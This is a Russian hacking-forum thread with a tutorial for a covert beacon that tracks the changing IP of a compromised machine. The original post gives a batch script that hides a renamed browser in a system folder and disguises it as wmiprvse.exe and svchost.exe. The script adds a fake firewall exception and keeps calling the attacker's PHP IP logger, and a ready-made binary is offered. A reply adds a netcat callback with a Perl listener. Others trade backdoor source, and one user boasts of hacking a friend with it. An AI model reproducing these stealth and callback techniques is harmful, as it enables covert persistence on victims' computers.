Авторские статьи [EasyHack] Динамический IP

Discussion in 'Статьи' started by |qbz|, 22 Jun 2010.

  1. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее :).

    К делу.

    Сначала принцип:
    Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.

    Решение:
    Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.
    Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:
    Code:
    links.exe http://google.com
    Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.
    Создание такого файла является простым - достаточно создать лоадер браузера:
    Code:
    "%CD%\wm[B]ipr[/B]vse.exe" %1
    Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".
    Теперь, создадим саму стучалку:
    Code:
    copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
    attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
    netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
    :rep
    taskkill /f /IM wmipvrse.exe
    taskkill /f /IM wmiprvse.exe
    start %SYSTEMROOT%\Debug\wmipvrse.exe %1
    ping -n 1 -w 10000 0.0.0.1
    goto :rep
    Работа очень проста:
    сперва мы скопируем сам браузер в системную папочку,
    далее сделаем ее системно-скрытой,
    добавим браузер в исключения файрволла,
    а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).

    Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.

    Теперь вооружимся компилятором бат-файлов (его можно найти здесь - https://forum.antichat.ru/thread175086.html) и компилируем данный скрипт, с параметрами:

    Code:
    [I]- Invisible application
    - Temporary directory
    - Delete at exit
    - Overwrite existing files[/I]
    также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:

    Code:
    svchost.exe http://lovim-ip.ru/ip.php
    Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):

    PHP:
    <?php
        $ip 
    fopen("./ip.html","a+");
        
    fputs($ip,date("d.m.y, H:i")." - ".$_SERVER['REMOTE_ADDR']."\n");
        
    fclose($ip);
        
    header("HTTP/ 1.1 408 Request Time-out");
    ?>
    Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10 секундам.

    Браузер "Links" (собранный в один файл и не собранный) - Links.zip
    Готовая "звонилка" - Svchost.exe
    (запуск: svchost.exe http://adres-php-skripta.com/skript.php)
     
    #1 |qbz|, 22 Jun 2010
    Last edited: 23 Jun 2010
    4 people like this.
  2. warwar

    warwar Banned

    Joined:
    26 May 2009
    Messages:
    0
    Likes Received:
    55
    Reputations:
    6
    Не проще залить бекдор с бекконектом?
    Чем браузеры всякие качать на машину?
     
  3. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.
     
  4. noxjoker

    noxjoker Member

    Joined:
    7 Aug 2009
    Messages:
    189
    Likes Received:
    24
    Reputations:
    0
    +1

    Тебе показать бекдор с бекконектом?
     
  5. slashd

    slashd Elder - Старейшина

    Joined:
    3 Sep 2008
    Messages:
    56
    Likes Received:
    15
    Reputations:
    6
    Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.
    Code:
    nc.exe lovim-ip.ru 8888
    На сервере написать простую прогу висящую на 8888 порту
    Code:
    #!/usr/bin/perl
    use strict;
    use IO::Socket;
    my $sock = IO::Socket::INET->new(LocalPort => 8888,
    Listen     => 20,
    Proto      => 'tcp' # а можно и udp
    Reuse     => 1,
    Timeout  => 3600 );
    while (1) {
    next unless my $sess = $sock->accpet;
    my $ip = $sess->peeraddr;
    print "IPaddr -> $ip\n";
    shutdown $sess;
    }
    если работать через udp, то netcat надо запускать c опцией '-u'
     
    #5 slashd, 23 Jun 2010
    Last edited: 23 Jun 2010
  6. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    тоже вариант. впринципе все это решается в любом случае сторонними программами/утилитами/троями итд. я показал один из вариантов.
     
  7. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    отличная статья.
    друга только что им ломанул
     
  8. warwar

    warwar Banned

    Joined:
    26 May 2009
    Messages:
    0
    Likes Received:
    55
    Reputations:
    6
    Не согласен. В паблике море бекдоров с бекконектом.
     
  9. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    возможно. если у тя есть сорцы какого-нить, то интересно посмотреть.
     
  10. Engineer

    Engineer Member

    Joined:
    22 May 2009
    Messages:
    70
    Likes Received:
    5
    Reputations:
    0
    Мне тоже! Сорцы так просто не достать!
     
  11. ZagZag

    ZagZag Elder - Старейшина

    Joined:
    22 Feb 2007
    Messages:
    149
    Likes Received:
    22
    Reputations:
    1
    Че доставать-то? Сорцы проги которая запрашивает команду у скрипта и выполняет ее? Мегаприват, да... :D


    UPD: Сорь за оффтоп, просто я как раз сетевым проектом занимаюсь "немного" посложнее чем бэкдор.
    PS: Уже лет пять не школоло
     
    #11 ZagZag, 2 Jul 2010
    Last edited: 3 Jul 2010
  12. warwar

    warwar Banned

    Joined:
    26 May 2009
    Messages:
    0
    Likes Received:
    55
    Reputations:
    6
    Не пойму школоло, им бы только посты набить.
    здесь много бекдоров с бекконектом.
     
  13. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Динамика - основная проблема работы с дедиками.
    Спасибо, будем тестить.
     
  14. noxjoker

    noxjoker Member

    Joined:
    7 Aug 2009
    Messages:
    189
    Likes Received:
    24
    Reputations:
    0
    Могу дать сорс который используется в GeneratorTroj
     
  15. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    kidai
     
  16. noxjoker

    noxjoker Member

    Joined:
    7 Aug 2009
    Messages:
    189
    Likes Received:
    24
    Reputations:
    0
    Код самого подключения бекконект. Клиент.
     
  17. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    268
    Likes Received:
    35
    Reputations:
    0
    хорошая статья. но помоему проще написать на дельфи пару строчке где будет отсылатся имя компа на гейт и все и вес будет меньше